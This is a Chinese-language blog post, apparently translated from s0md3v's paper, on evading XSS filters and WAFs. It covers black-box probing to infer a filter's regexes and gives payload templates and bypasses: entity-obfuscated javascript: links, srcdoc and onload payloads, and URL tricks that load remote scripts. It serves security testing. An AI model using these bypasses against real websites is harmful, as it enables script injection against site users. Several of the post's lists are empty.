Neurohazard
Our democracy have been h4ck3d.

XSS 过滤器绕过指南

wpadmin~April 24, 2019 /InfoSec

XSS 过滤器绕过指南

黑盒视角下如何反向推理 XSS 过滤器后端的正则表达式

绕过 xss 检测机制 (翻译)
https://www.cnblogs.com/xsserhaha/p/10743671.html?from=timeline

原文
https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms

三个步骤

1 determing payload structure
2 probing
3 obfuscation

URL unsafe characters +, &

现阶段(2018/04),使用机器学习来检测 XSS 仍然是一个实验性特性, WAF 厂商更多还是使用传统正则来检测恶意 payload 。

HTML Context

XSS 存在的场景

用户输入被反射在 HTML 页面上,即可能存在 XSS, 可以说这个 输入是在 HTML 上下文中 (in the HTML context)。 HTML 上下文通常由两种情况

假设用户输入为 $input

1 用户输入被反射在 HTML 标签内
<input type="text" value="$input">
2 用户输入被反射在 HTML 标签外
<span> You entered $input</span>

用户输入被反射在 HTML 标签外

primary character (核心字符)
为了构造 XSS payload 不可或缺的字符

对于用户输入被反射在 HTML 标签外的情况,核心字符 (primary character) 是 左尖括号 <, 左尖括号在 HTML 中是承担开启一个新标签的功能。根据 HTML 文档,标签名称必须以字母 (alphabet) 开头。

根据这些信息,为了尝试确定后端的正则表达式

1 <svg 如果通过,后端没有标签检查
2 <dev 如果未通过,后端可能是 <[a-z]+
3 x<dev 如果通过,后端可能是 ^<[a-z]+
4 <dEv 如果未通过,后端可能是 <a-zA-Z]+
5 <d3V 如果未通过,后端可能是 <[a-zA-Z0-9]+
6 <d|3v 如果未通过,后端可能是 <.+

如果所有的 probe 都没有通过,很大概率这个用户输入反射点是无法被绕过的。如果这几个 probe 由任意一个被通过了,我们可以尝试一系列 payload 结构 (payload scheme)。

Payload Scheme #1

While probing, a harmless string should be used instead of {javascript}.

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

一旦我们找到一个合适的标签 {tag} 时,下一步是猜测 {filler} 区域的正则表达式

1 <tag xxx 如果未通过, {filler} 区域可能是 {space}
2 <tag%09xxx 如果未通过, {filler} 区域可能是 [\s]
3 <tag%09%09xxx 如果未通过, {filler} 区域可能是 \s+
4 <tag/xxx 如果未通过, {filler} 区域可能是 [\s/]+
5 <tag%0axxx 如果未通过, {filler} 区域可能是 [\s\n]+
6 <tag%0dxxx 如果未通过, {filler} 区域可能是 [\s\n\r+]+
7 <tag/~/xxx 如果未通过, {filler} 区域可能是 .+

接下来的 {event_handler} 也是 payload 结构中的重要组件。通常开发者回使用 on\w+ 或者以黑名单的方式比如 on(load|click|error|show) 来匹配。

使用 on\w+ 的方式比较严格,基本不能被绕过,不过使用黑名单的方式经常被不在黑名单中的小众的 event handler 绕过。我们可以使用如下 probe 测试。

1 <tag{filler}onxxx 如果未通过,说明后端是 on\w+。如果通过说明后端是黑名单模式,类似于 on(load|click|error|show)
2 <tag{filler}onclick 如果通过,说明后端没有检查 event handler 。

如果后端正则为 on\w+,所有以 on 开头的 event handler 都无法使用,基本上就是无法绕过了。在这个情况下,你不如看看下一个 payload scheme 。 如果后端正则是 黑名单风格, 那就 fuzz 一下 event handler, 看看有没有不在黑名单里的,如果所有 event handler 都在黑名单中,那个看下一个 payload scheme 吧。

在我的经验里,常见的不在黑名单中的 event handler 有:

如果 <tag{filler}{event_handler}=d3v 也被限制了,那就可以尝试增加可选的 {filler}

下一个组件就是 需要执行的 JavaScript 代码。这个区域很灵活,一般很难有预定义的模式来匹配它。这个阶段我们只需要考虑如何闭合标签就行了。
常见的闭合方式如下:

1 <payload>
2 <payload
3 <payload{space}
4 <payload//
5 <payload%0a
6 <payload%0d
7 <payload%09

值得一提,HTMl 文档允许 <tag{whites space}{anything here}>的结构,例如 <a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document> 这种结构的标签依然是有效的。 HTML 的这个特性让攻击者可以使用如上方法注入 HTML 标签。

Payload Scheme #2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

测试 {filler} 的技巧在不同的 payload scheme 里都是相似的。

顺带一提,(如果没有 {filler} 分割) , ? 可以在 URL 的末尾使用。 ? 后面的内容会被认定是 URL 的一部分,直到 > 字符闭合标签。

使用 <sciprt> 标签很容易触发安全规则,因此你也可以尝试用 <object> 标签。

<obJecT{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload Scheme #3

这种 payload scheme 有两种变种, plain 和 obfuscatable

plain 变种经常被如下正则匹配 href[\s]{0,}=[\s]{0,}javascript: 。它的基本结构如下

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

obfuscatable 变种的基本结构如下

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

这两个变种的区别就是 {special} 区域。 {special} 就是一个混淆的 内容为 javascript 的字符串。常见的混淆方法如下:

测试可用的一个 payload
<a href = "jav&#x61;scrIpt:alert(1)" >clickme</a>

1 使用 newline 和 horizontal tab 字符来混淆

2 HTML 实体编码 (十进制/十六进制)

numeric character encoding

3 对 1和2 进行混合

JavaSciprt 可执行 与 不可执行的 上下文

如果 反射的用户输入 在标签外,可以分为两种情况, Executable 和 Non-executable .

Non-executable 的情况是指
用户输入反射在 HTML 注释中,比如 <--$input-->
或者用户输入反射在如下标签中

译者注: 说到 noscript 标签,之前 Google 主站首页的 XSS 似乎是使用了这个。

如果用户输入落入这些标签之后,必须闭合这些标签才能执行 JavaScript 代码。
因此,在 Non-executable 的情况下,测试的区别只是需要增加一个步骤,闭合不可执行的标签 {closing tag} ,常见的闭合方式如下:

如果找到了可用的闭合标签,接下来就是构造最终 payload 了。

{closing tag}{any payload from executable payload section}

用户输入被反射在 HTML 标签内

用户输入反射在标签属性中

在 “用户输入被反射在 HTML 标签内” 的情况下,核心字符 (primary character) 是 引号 (quote) " ,比如 <input value="$input" type="text">。在少数情况下,可能需要引号就能导致 XSS (通常是用户输入反射在一段 JavaScript 代码中)。

1 在 Event Handler 内 / Inside an Event Handler

如果输入被反射在 event handler 内部 <tag event_handler="function($input)"> ,输入的恶意代码就很容易被执行。

2 在 src 的属性中 / Inside ‘src’ Attribute

如果是在 <script> 或者 <iframe> 标签中

<script src="http://example.com/malicious.js">
<iframe src="http://example.com/xss.html">

绕过 URL 匹配

a //example.com/xss.js 绕过后端的 http(?s):// 的正则
b ////////example.com/xss.js 绕过后端的 (?:http(?s):?)?// 的正则
c /\///\\/example.com/xss.js 绕过后端的 (?:http(?s):?)?//+

3 在 srcdoc 的属性中 / Inside ‘srcdoc’ Attribute

<iframe srcdoc="$input">

<iframe srcdoc="&lt;svg/onload=alert()&gt;">

5 普通属性

常见的 context

<input type="text" value""/onfocus="alert()$input">

根据是否可交互可以分为两类,

Interactable

{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

检查 quote 是否被 WAF 拦截,可以采用如下 payload: x"y

支持任意标签的 event handler

可以搜索文档查看不同标签的 event handler

如果是不可交互的区域,就把这个标签给闭合掉。

{quote}>{any payload scheme form html context section}

用户输入被反射在 JavaScript 代码块中

JavaScript Context

Payload Scheme #1

{quote}{delimiter}{javascript}{delimiter}{quote}

常用的 delimiter 包括

Payload Scheme #2

{quote}{delimiter}{javascript}//

常见类型

代码块内

结语

多关注原文

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.